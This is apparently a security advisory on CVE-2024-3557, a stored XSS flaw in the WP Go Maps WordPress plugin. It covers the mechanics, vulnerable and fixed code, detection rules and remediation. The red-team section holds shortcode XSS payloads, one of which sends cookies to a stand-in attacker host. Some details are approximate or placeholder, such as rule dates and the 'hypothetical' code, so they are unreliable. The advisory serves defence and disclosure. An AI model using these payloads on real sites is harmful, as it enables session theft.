CVE-2024-3557

Executive Summary

CVE-2024-3557 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WP Go Maps (formerly WP Google Maps) plugin for WordPress, up to and including version 9.0.36. The flaw resides in the plugin's wpgmza shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts. When a victim (including administrators) visits a page containing the malicious shortcode, the script executes in their browser, potentially leading to session hijacking, defacement, or data theft.

The vulnerability is classified as Stored XSS (CWE-79) with a CVSS v3.1 score of 6.4 (Medium). The EPSS probability is 0.0%, indicating low active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) or exploit code has been released, and no official patch is available from the vendor.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The WP Go Maps plugin is distributed via the official WordPress Plugin Directory and is also available for manual download from the vendor's site. Users are advised to monitor the plugin's update channel for a patched version. As a supply chain risk, any site using this plugin is vulnerable until a fix is applied. No known compromise of the plugin's distribution channel has been reported.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Base Score: 6.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: Low (PR:L) – requires Contributor-level or higher WordPress role.
• User Interaction: None (UI:N) – the victim does not need to perform any action beyond viewing the page.
• Scope: Changed (S:C) – the vulnerable component impacts resources beyond its security scope.
• Confidentiality Impact: Low (C:L) – limited data exposure possible.
• Integrity Impact: Low (I:L) – limited modification of content possible.
• Availability Impact: None (A:N)

Threat Level: Medium. While the CVSS score is moderate, the requirement for authenticated access reduces the attack surface. However, once exploited, the impact can be significant for the affected site and its users.

Deep Dive & Mechanics

The vulnerability exists in the wpgmza shortcode handler. WordPress shortcodes allow users to embed dynamic content via simple tags like [wpgmza id="123"]. The plugin fails to properly sanitize and escape user-supplied attributes (e.g., id, category, marker_id) before rendering them in the page HTML.

An attacker with Contributor-level access (or higher) can craft a post or page containing a malicious shortcode such as:

[wpgmza id="1\" onmouseover=\"alert('XSS')\""]

When the page is rendered, the unsanitized attribute value breaks out of the HTML attribute context and injects an event handler. Because the output is not escaped, the injected JavaScript executes in the context of the victim's browser.

The attack flow:

1. Attacker logs in with Contributor role.
2. Creates a new post/page with the malicious shortcode.
3. Publishes or saves the post (depending on workflow).
4. Victim (any user, including admin) visits the page.
5. Malicious script executes, potentially stealing cookies, redirecting to phishing sites, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (wp-google-maps/includes/class.shortcodes.php – approximate):

function wpgmza_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'id' => 0,
        'category' => '',
        'marker_id' => 0,
    ), $atts );
    
    // Directly outputting attribute without escaping
    $output = '<div class="wpgmza_map" data-id="' . $atts['id'] . '">';
    // ... rest of the code
    return $output;
}

Patched Code (hypothetical fix):

function wpgmza_shortcode( $atts ) {
    $atts = shortcode_atts( array(
        'id' => 0,
        'category' => '',
        'marker_id' => 0,
    ), $atts );
    
    // Escape the attribute value
    $output = '<div class="wpgmza_map" data-id="' . esc_attr( $atts['id'] ) . '">';
    // ... rest of the code
    return $output;
}

The fix involves using esc_attr() (or htmlspecialchars()) on all user-supplied attributes before outputting them in HTML context. Additionally, input validation (e.g., ensuring id is numeric) should be implemented.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress installation with WP Go Maps plugin version <= 9.0.36.
• A user account with Contributor-level privileges or higher.

Steps:

1. Log in as a Contributor.
2. Create a new post.
3. In the text editor, insert the following shortcode:

   [wpgmza id="1\" onfocus=\"alert(document.cookie)\" autofocus=\"autofocus"]
   

4. Publish the post.
5. When any user visits the post, the JavaScript alert(document.cookie) will execute.

Advanced Payload (session hijacking):

[wpgmza id="1\" onmouseover=\"fetch('https://attacker.com/steal?cookie='+document.cookie)\""]

Note: No public exploit code is available. The above is a conceptual demonstration.

Blue Team (Detection & Hardening)

Detection:

• Monitor WordPress logs for posts containing suspicious shortcode patterns (e.g., on*= attributes).
• Use Web Application Firewall (WAF) rules to block requests with XSS patterns in shortcode attributes.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Hardening:

• Restrict Contributor-level access to trusted users only.
• Disable the wpgmza shortcode for lower-privileged roles via a custom plugin or code snippet.
• Apply input validation and output escaping via a custom filter if patching is delayed.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /wp-admin/post-new.php or /wp-admin/post.php containing [wpgmza with suspicious attributes.
  • Outbound connections to unknown domains from the WordPress server (exfiltration).
• File System:
  • Modified posts/pages in the database containing [wpgmza with event handlers (e.g., onmouseover, onfocus, onclick).
• Logs:
  • WordPress debug log entries showing unexpected shortcode attribute values.
  • Web server access logs with %5C%22 (URL-encoded backslash and quote) in POST data.

Detection Engineering

YARA Rule

rule wp_go_maps_stored_xss_cve_2024_3557 {
    meta:
        description = "Detects stored XSS payloads targeting WP Go Maps shortcode"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-3557"
        severity = "medium"
    strings:
        $shortcode = /\[wpgmza\s+[^\]]*?(?:on\w+\s*=|src\s*=|href\s*=)/i
        $event_handler = /on\w+\s*=\s*["']?[^"'\s>]+/i
    condition:
        $shortcode and $event_handler
}

Sigma Rule

title: WP Go Maps Stored XSS via Shortcode
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2024-3557 by injecting malicious shortcode attributes
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-3557
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'wpgmza'
        cs-uri-query|re: 'on\w+='
    condition: selection
falsepositives:
    - Legitimate use of shortcode with event handlers (unlikely)
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-3557 WP Go Maps Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"wpgmza"; http_client_body; pcre:"/on\w+\s*=\s*[\x22\x27]/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the WP Go Maps plugin until a patched version is released.
2. Restrict user roles: Remove Contributor-level access from untrusted users.
3. Apply virtual patching: Use a WAF to block requests containing [wpgmza with event handler attributes.

Long-term Fix:

• Monitor the plugin's official page for updates. Once a patched version (e.g., 9.0.37 or higher) is released, update immediately.
• If the vendor does not release a patch, consider migrating to an alternative mapping plugin.

Workaround (if patching is not possible):

• Add a custom filter to sanitize shortcode output:

  add_filter( 'shortcode_atts_wpgmza', function( $out, $pairs, $atts ) {
      foreach ( $out as $key => $value ) {
          $out[$key] = esc_attr( $value );
      }
      return $out;
  }, 10, 3 );
  

Valters IT
Securing digital frontiers with intelligence-driven defense.